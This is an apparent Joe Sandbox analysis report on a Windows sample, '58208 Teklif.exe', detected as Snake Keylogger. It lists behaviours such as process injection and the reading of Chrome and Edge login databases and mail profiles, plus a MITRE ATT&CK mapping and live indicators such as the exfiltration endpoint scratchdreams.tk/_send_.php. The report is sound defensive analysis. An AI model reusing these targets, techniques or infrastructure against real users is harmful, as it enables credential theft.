Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597405	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596515	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596295	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596172	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595952	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594749	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Thread delayed: delay time: 594531	Jump to behavior

Source: 58208 Teklif.exe, 00000003.00000002.3765792530.000000000115F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllconf

Source: C:\Users\user\Desktop\58208 Teklif.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Code function: 3_2_05A989B0 LdrInitializeThunk,

3_2_05A989B0

Source: C:\Users\user\Desktop\58208 Teklif.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\58208 Teklif.exe

Memory written: C:\Users\user\Desktop\58208 Teklif.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Process created: C:\Users\user\Desktop\58208 Teklif.exe "C:\Users\user\Desktop\58208 Teklif.exe"

Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Users\user\Desktop\58208 Teklif.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Users\user\Desktop\58208 Teklif.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\58208 Teklif.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\58208 Teklif.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\58208 Teklif.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\58208 Teklif.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.58208 Teklif.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.447bf00.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.58208 Teklif.exe.445b6e0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 58208 Teklif.exe PID: 7436, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 58208 Teklif.exe PID: 7580, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
58208 Teklif.exe	53%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
58208 Teklif.exe	66%	Virustotal		Browse
58208 Teklif.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
reallyfreegeoip.org	1%	Virustotal	Browse
scratchdreams.tk	6%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
http://tempuri.org/DataSet1.xsdCEscolha	0%	Avira URL Cloud	safe
https://scratchdreams.tk	100%	Avira URL Cloud	malware
http://scratchdreams.tk	100%	Avira URL Cloud	malware
https://scratchdreams.tk/_send_.php?TS	100%	Avira URL Cloud	malware
https://reallyfreegeoip.org/xml/102.129.152.231$	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/102.129.152.231	0%	Avira URL Cloud	safe
https://scratchdreams.tk	15%	Virustotal		Browse
http://tempuri.org/DataSet1.xsdCEscolha	3%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	104.21.67.152	true	false	1%, Virustotal, Browse	unknown
scratchdreams.tk	172.67.169.18	true	true	6%, Virustotal, Browse	unknown
checkip.dyndns.com	193.122.130.0	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://scratchdreams.tk/_send_.php?TS	false	Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/102.129.152.231	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/DataSet1.xsdCEscolha	58208 Teklif.exe	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://scratchdreams.tk	58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030B0000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://reallyfreegeoip.org	58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FC3000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://checkip.dyndns.org	58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002F98000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003074000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	58208 Teklif.exe, 00000003.00000002.3769706051.0000000002EE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	58208 Teklif.exe	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/102.129.152.231$	58208 Teklif.exe, 00000003.00000002.3769706051.00000000030A2000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003059000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000303D000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.000000000304B000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003093000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000003066000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://scratchdreams.tk	58208 Teklif.exe, 00000003.00000002.3769706051.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://reallyfreegeoip.org/xml/	58208 Teklif.exe, 00000000.00000002.1320427811.000000000438E000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3769706051.0000000002FAA000.00000004.00000800.00020000.00000000.sdmp, 58208 Teklif.exe, 00000003.00000002.3764622818.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
172.67.169.18	scratchdreams.tk	United States	13335	CLOUDFLARENETUS	true
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1422217
Start date and time:	2024-04-08 13:00:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	58208 Teklif.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 140 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:01:46	API Interceptor	9453012x Sleep call for process: 58208 Teklif.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.67.152	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse
	SAT8765456000.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	23343100IM00270839_Dekont1.exe	Get hash	malicious	Snake Keylogger	Browse
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse
	proforma_Invoice_0009300_74885959969_9876.exe	Get hash	malicious	Snake Keylogger	Browse
172.67.169.18	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	z52OURO08765.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.8730.30889.exe	Get hash	malicious	Snake Keylogger	Browse
	vessel details.exe	Get hash	malicious	Snake Keylogger	Browse
	Ship Particulars.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.26841.22155.exe	Get hash	malicious	Snake Keylogger	Browse
193.122.130.0	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	iCareFone.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	D09876500900000H.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	checkip.dyndns.org/
	Quark Browser.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	Payment_Draft_confirmation.xla.xlsx	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	#U83e0#U841d#U5305#U8f7b#U5c0f#U8bf4 5.0.36.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	checkip.dyndns.org/
	rTheRequestedReceipt.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Ship Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	z16O865459999HY.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	VI3 Operation Guide_tech Info versionfdp.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.8.169
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SAT8765456000.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	158.101.44.242
	request-2.doc.exe	Get hash	malicious	Agent Tesla, AgentTesla	Browse	132.226.8.169
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	132.226.247.73
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
reallyfreegeoip.org	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	SAT8765456000.xlam.xlsx	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	172.67.177.134
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	1d4D5ndo0x.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.67.152
scratchdreams.tk	Zarefy4bOs.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Remittance_copy.pdf.scr.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Fuy2BDS9W2.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
	Purchase Order.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.169.18
	109__Purchase_Order.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.27.85
